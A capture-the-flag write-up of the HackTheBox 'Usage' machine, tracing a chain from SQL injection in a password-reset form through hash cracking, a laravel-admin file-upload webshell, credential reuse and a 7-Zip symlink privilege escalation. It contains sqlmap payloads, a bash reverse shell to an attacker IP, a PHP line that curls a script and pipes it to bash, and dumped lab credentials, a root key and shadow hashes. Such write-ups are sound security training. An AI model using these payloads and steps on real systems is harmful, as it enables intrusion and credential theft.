POSTS

HTB: Usage

Usage is an Easy-rated Linux machine where a SQL injection in a password-reset endpoint leaks an administrator password hash, cracked offline to access an admin panel. The panel runs a vulnerable laravel-admin package (CVE-2023-24249), enabling file upload for initial code execution. A reused password found during enumeration allows lateral movement via SSH. Privilege escalation abuses a sudo-permitted backup utility's insecure use of 7-Zip to read arbitrary root-owned files.

HTB: Usage
2842 words · 14 min

Overview

Attack Paths

Initial Access - Error-based SQL injection in Forgot Password endpoint (sqlmap)
                     |
                     [admin password hash dumped]
                     |
                     v
Hash Cracking - Hashcat (bcrypt) + rockyou.txt
                     |
                     [admin:*******]
                     |
                     v
RCE via CVE-2023-24249 (laravel-admin) arbitrary file upload → webshell
                     |
                     [Shell as dash]
                     (user flag)
                     |
                     v
Lateral Movement - Monit config credential reuse → SSH as xander
                     |
                     [Shell as xander]
                     |
                     v
Privilege Escalation -	Sudo binary abusing 7z wildcard/symlink (-snl) to archive root's SSH key
                     |
                     |
                     v
                     [Root shell]
                     (root flag)

Enumeration

Nmap

$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.xxx.xxx --open | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -sC -sV -p$ports 10.129.xxx.xxx

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-14 07:27 JST
Nmap scan report for 10.129.xxx.xxx
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.80 seconds

add usage.htb in /etc/hosts

Wfuzz - Vhost discovery

$ wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --c 200 -H "Host: FUZZ.usage.htb" -u http://usage.htb --hw 12
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://usage.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                               
=====================================================================

000000024:   200        88 L     226 W      3304 Ch     "admin"                                                                               

Total time: 191.7033
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 26.02459

add admin.usage.htb in /etc/hosts

Website (80/tcp)

Register a new account user@usage.htb:azerty123:

Then sign in:

Just a some posts and a reference of Laravel PHP.

Quick check on Burp for our requests and we can confirm Laravel and a token related to the account:

SQLi

We saw also a Reset Password page then try it:

Check in Burp:

Try a basic SQLi user@usage.htb' OR 1=1-- in the E-Mail Address field:

error based sql injection confirmed in forgot password

We export the request (with copy to file):

$ cat forgot_password_req.txt

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6InJmbUVqMXpubXhrU2VXajFQMFV1eWc9PSIsInZhbHVlIjoiSktsY0J2UFRmdG12ZHl5emRPYTlzS2owQXA5WWw5VVlCdERwb0pDMVlYeHc1Uk5xTmJaOURONnlUMVpkbGpnRmdwZEw4Uk5lN0x3QjJlTWlUR0Uwa3BwVytGTnprZXYrZk1wY1ZvOHR0QjlTT1RQU2ovRnNmZlpqTUdUZEVCTTkiLCJtYWMiOiI3ZmNkYzFiMGJlNDY4OWZjMmVmMGEyMjhiYTU4ODVhOWE4YzIyODVhODc4OWE0MjEwNmIzOTg3NWZlODQ2ZDJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdsSytIODhZYldwNEpuTUtERHMyMXc9PSIsInZhbHVlIjoiMTVpZ1BKNUVtTmdNRXdldG9aOEE3bkc5NkRyeHM4VFJzT3NPS0hWSU9ldUV5SDV4STN4TlNJRFhxUmlyd21HR3BGMlBsUTN5ZzZpSmNzZ2txeGluVUwwWWVKVjI4VWN0M05BUWt6Q01HNjJveXRKRGIrNTgzaWJPcXJRMFRTTGoiLCJtYWMiOiI5NTZkOGUyMTRlNWRhYzA1MzlmZmRmNDM4ZjMzNDg2YzJjMjdmNWM1ZDBkZWQ0NWE5Nzc0MTM2NTMzM2E0MmFiIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=0BNACpNDAt66mlFniTYSMIUVWUkIA3YEmVCCCRus&email=user%40usage.htb

Then we launch SQLmap:

Get databases:

$ sqlmap -r ./forgot_password_req.txt --dbms=mysql --dbs --level=5 --risk=3 -p email --batch              
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.3#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:57:21 /2024-04-14/

[13:57:21] [INFO] parsing HTTP request from './forgot_password_req.txt'
[13:57:21] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
...
[14:07:23] [INFO] POST parameter 'email' appears to be 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)' injectable [14:07:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:07:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:07:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[14:07:31] [INFO] target URL appears to have 8 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:09:59] [INFO] target URL appears to be UNION injectable with 8 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:12:19] [INFO] testing 'Generic UNION query (15) - 21 to 40 columns'
[14:12:28] [INFO] testing 'Generic UNION query (15) - 41 to 60 columns'
[14:12:36] [INFO] testing 'Generic UNION query (15) - 61 to 80 columns'
[14:12:47] [INFO] testing 'Generic UNION query (15) - 81 to 100 columns'
[14:12:55] [INFO] testing 'MySQL UNION query (15) - 1 to 20 columns'
[14:14:15] [INFO] testing 'MySQL UNION query (15) - 21 to 40 columns'
[14:14:24] [INFO] testing 'MySQL UNION query (15) - 41 to 60 columns'
[14:14:33] [INFO] testing 'MySQL UNION query (15) - 61 to 80 columns'
[14:14:42] [INFO] testing 'MySQL UNION query (15) - 81 to 100 columns'
[14:14:53] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 722 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=0BNACpNDAt66mlFniTYSMIUVWUkIA3YEmVCCCRus&email=user@usage.htb' AND 2268=(SELECT (CASE WHEN (2268=2268) THEN 2268 ELSE (SELECT 4777 UNION SELECT 5852) END))-- -

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: _token=0BNACpNDAt66mlFniTYSMIUVWUkIA3YEmVCCCRus&email=user@usage.htb' AND 7719=BENCHMARK(5000000,MD5(0x6d757354))-- Zmcb
---
[14:15:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL < 5.0.12
[14:15:24] [INFO] fetching database names
[14:15:24] [INFO] fetching number of databases
[14:15:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:15:24] [INFO] retrieved: 3
[14:15:32] [INFO] retrieved: information_schema
[14:18:02] [INFO] retrieved: performance_schema
[14:20:29] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
...

Get tables:

$ sqlmap -r ./forgot_password_req.txt --dbms=mysql --dbs --level=4 --risk=3 -p email -D usage_blog --tables --batch --threads 10
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.3#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:34:08 /2024-04-14/

[14:34:08] [INFO] parsing HTTP request from './forgot_password_req.txt'
[14:34:08] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=0BNACpNDAt66mlFniTYSMIUVWUkIA3YEmVCCCRus&email=user@usage.htb' AND 2268=(SELECT (CASE WHEN (2268=2268) THEN 2268 ELSE (SELECT 4777 UNION SELECT 5852) END))-- -

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: _token=0BNACpNDAt66mlFniTYSMIUVWUkIA3YEmVCCCRus&email=user@usage.htb' AND 7719=BENCHMARK(5000000,MD5(0x6d757354))-- Zmcb
---
[14:34:10] [INFO] testing MySQL
[14:34:10] [INFO] confirming MySQL
[14:34:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[14:34:10] [INFO] fetching database names
[14:34:10] [INFO] fetching number of databases
...
[14:35:50] [INFO] retrieved: usage_blog             
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

[14:35:50] [INFO] fetching tables for database: 'usage_blog'
[14:35:50] [INFO] fetching number of tables for database 'usage_blog'
[14:35:50] [INFO] resumed: 15
...
[14:43:44] [INFO] retrieved: users           
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

Get columns and dump all:

$ sqlmap -r ./forgot_password_req.txt --dbms=mysql --dbs --level=4 --risk=3 -p email -D usage_blog -T admin_users --batch --threads 10 --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.3#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:52:04 /2024-04-14/
...
[15:03:36] [INFO] retrieved: admin           
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

Other methods can be in 2 steps, get columns then get admin username and password:

$ sqlmap -r ./forgot_password_req.txt --dbms=mysql --dbs --level=4 --risk=3 -p email -D usage_blog -T admin_users --columns --batch --threads 10
$ sqlmap -r ./forgot_password_req.txt --dbms=mysql --dbs --level=4 --risk=3 -p email -D usage_blog -T admin_users -C username,password --batch --threads 10 --dump

Found admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2.

Crack it with hashcat:

$ hashcat -a 0 -m 3200 '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH...fUPrL2
Time.Started.....: Sun Apr 14 07:40:02 2024 (42 secs)
Time.Estimated...: Sun Apr 14 07:40:44 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       38 H/s (6.59ms) @ Accel:2 Loops:64 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1588/14344385 (0.01%)
Rejected.........: 0/1588 (0.00%)
Restore.Point....: 1584/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidate.Engine.: Device Generator
Candidates.#1....: alexis1 -> booboo1
Hardware.Mon.#1..: Util: 98%

Started: Sun Apr 14 07:39:42 2024
Stopped: Sun Apr 14 07:40:45 2024

Found admin:whatever1.

Signin with these credentials to the Admin portal:

CVE-2023-24249 - Laravel-admin Arbitrary Code Execution

In the dashboard we can see an interesting stuff:

Found encore/laravel-admin package version 1.8.18 is installed.

Following the PoC, we upload a p0wnyshell as an avatar picture in the admin settings using Burp with .png extension then replay the request to add the extension .php.

Click on Reset:

Upload the reverse shell as a .png file:

Click on Submit.

Then when uploaded, we quickly replay the same request in the Repeater just change from:

...
-----------------------------23104605466095635493685703399
Content-Disposition: form-data; name="name"

Administrator
-----------------------------23104605466095635493685703399
Content-Disposition: form-data; name="avatar"; filename="shell.png"
Content-Type: image/png
...

to:

...
-----------------------------23104605466095635493685703399
Content-Disposition: form-data; name="name"

Administrator
-----------------------------23104605466095635493685703399
Content-Disposition: form-data; name="avatar"; filename="shell.png.php"
Content-Type: image/png
...

then Send:

Then refresh the settings page and we can see both uploaded, click on the download icon and we trigger our shell:

Unfortunately the shell is quickly stopped as seems there is a scheduled script that restore the original settings:

So we set a local python web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We create a simple bash reverse shell rshell.sh:

#!/bin/bash
/bin/sh -i >& /dev/tcp/10.10.16.xx/4321 0>&1

We set a Netcat listener:

$ rlwrap -cAr nc -lvnp 4321
listening on [any] 4321 ...

We create a fake shell.png:

<?php
system("curl http://10.10.16.xx/rshell.sh|bash")
?>

And we re-upload again our shell.png then replay the request with Repeater (and change form shell.png to shell.png.php) then click on the download icon and get the reverse shell:

$ rlwrap -cAr nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.16.xx] from (UNKNOWN) [10.129.xxx.xxx] 53710
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
$ 

Get the user flag:

$ cat /home/dash/user.txt
<REDACTED>

From Dash to Xander

Quick check and we can see that another user is present:

$ ls /home
dash
xander

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dash:x:1000:1000:dash:/home/dash:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
xander:x:1001:1001::/home/xander:/bin/bash
clamav:x:115:121::/var/lib/clamav:/bin/false
_laurel:x:998:997::/var/log/laurel:/bin/false

Upgrade our shell to have a full stable TTY:

$ python3 -c 'import pty; pty.spawn("/bin/bash");'
dash@usage:/var/www/html/project_admin/public/uploads/images$ CTRL+Z
zsh: suspended  rlwrap -cAr nc -lvnp 4321
                                                                                                                                                       
$ stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
[1]  + continued  rlwrap -cAr nc -lvnp 4321
dash@usage:/var/www/html/project_admin/public/uploads/images$

Quick enumeration to found a new password:

dash@usage:/var/www/html/project_admin/public/uploads/images$ cd /home/dash

dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Apr 14 08:16 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26 04:50 .monit.id
-rw-r--r-- 1 dash dash    6 Apr 14 08:16 .monit.pid
-rw------- 1 dash dash 1192 Apr 14 08:16 .monit.state
-rwx------ 1 dash dash  707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Apr 13 19:01 user.txt

dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert
dash@usage:~$

Found admin:3nc0d3d_pa$$w0rd.

Reuse this password to connect as Xander via SSH:

$ sshpass -p '3nc0d3d_pa$$w0rd' ssh xander@usage.htb                                                                                                                       
xander@usage.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Sun Apr 14 08:19:40 AM UTC 2024

  System load:           0.0
  Usage of /:            65.7% of 6.53GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             230
  Users logged in:       0
  IPv4 address for eth0: 10.129.xxx.xxx
  IPv6 address for eth0: dead:beef::250:56ff:feb0:859f


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

xander@usage:~$

7z Privilege escalation

Check SUDO privileges:

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

As xander we can run /usr/bin/usage_management as root with sudo.

Quick check:

xander@usage:~/.ssh$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 3
Password has been reset.

Check strings:

xander@usage:~/.ssh$ strings /usr/bin/usage_management 
...
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
...

-snl is the paramter to store symbolic links as links.

Following the explanation in the posts above, we can select option 1 to get SSH private key of root and the system flag.

xander@usage:~$ ln -sf /root /var/www/html/root
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
3185 folders, 18028 files, 132312029 bytes (127 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 21213

                                                                               
Files read from disk: 18028
Archive size: 72301462 bytes (69 MiB)
Everything is Ok
xander@usage:~$ cp /var/backups/project.zip /tmp
xander@usage:~$ cd /tmp && unzip project.zip
Archive:  project.zip
   creating: project_admin/
  inflating: project_admin/.editorconfig  
  inflating: project_admin/.env      
  inflating: project_admin/.env.example  
  inflating: project_admin/.gitattributes  
  inflating: project_admin/.gitignore  
  inflating: project_admin/README.md
...
   creating: root/
    linking: root/.bash_history      -> /dev/null 
  inflating: root/.bashrc            
   creating: root/.cache/
   creating: root/.ssh/
 extracting: root/.ssh/authorized_keys  
  inflating: root/.ssh/id_rsa        
 extracting: root/.ssh/id_rsa.pub    
  inflating: root/cleanup.sh         
 extracting: root/root.txt  
...
xander@usage:/tmp$ cat root/root.txt 
<REDACTED>

xander@usage:/tmp$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----

Extra

root@usage:~# cat /etc/shadow
root:$y$j9T$eHRVEjBacjX.aL3Dv.ayh/$ya7Anf39wpVrmChSihyT1sxtFg.2JLtN/z5oNXKDRc4:19809:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19575:0:99999:7:::
dash:$y$j9T$vnXc5wuMp/3C1Ao0PfIZS1$bR.rwyVqBNeMUHDNze/yT./JKQ.x9D4CsL3EqgMtkG6:19809:0:99999:7:::
lxd:!:19575::::::
mysql:!:19575:0:99999:7:::
xander:$y$j9T$.0U.eu0EIIaUNyu7iFA1x/$ScdmpKaag.GHK3VFzdBCn19UT1eBLRCO7ghAvz7s0u0:19658:0:99999:7:::
clamav:!:19593:0:99999:7:::
_laurel:!:19815::::::